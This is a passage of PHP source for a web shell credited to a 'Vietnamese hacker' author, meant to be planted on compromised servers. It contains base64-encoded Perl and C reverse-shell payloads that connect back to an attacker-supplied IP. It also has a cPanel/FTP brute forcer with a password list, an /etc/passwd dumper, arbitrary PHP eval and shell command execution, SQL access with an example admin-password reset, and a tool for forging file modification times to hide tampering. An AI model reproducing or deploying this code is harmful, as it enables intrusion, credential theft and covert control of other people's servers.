$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
// SQL
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
// Data
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
// get mysql server
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
// Show database
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>loki</font><BR><font color=yellow>UPDATE `user` SET `password` = \'e64cfa3fd59e32df57003c7401f48c99\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class=fout>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end backconnect window via NC
// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
makehide('action','brute');
makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ Loki Notice ]# </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ Loki Notice ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
if(isset($submit) && !empty($submit)){
$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>[ Loki Notice ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}
formfoot();
}
elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
makehide('action','etcpwd');
makehide('dir',$nowpath);
$i = 0;
echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "</textarea></p>";
formfoot();
}
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>Instead »');
p('year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path',__FILE__),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('Administrator',$adminmail),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Copyright (C) 2011 <B></B> - Develop by <a href=#><B>Loki -BYG </B></a> - <B>- The Legend of Vietnamese Hacker World</B> All Rights Reserved.
</div>
</body>
</noscript>
<?php
/*======================================================
Show info shell
======================================================*/
function m($msg) {
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '').$key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>
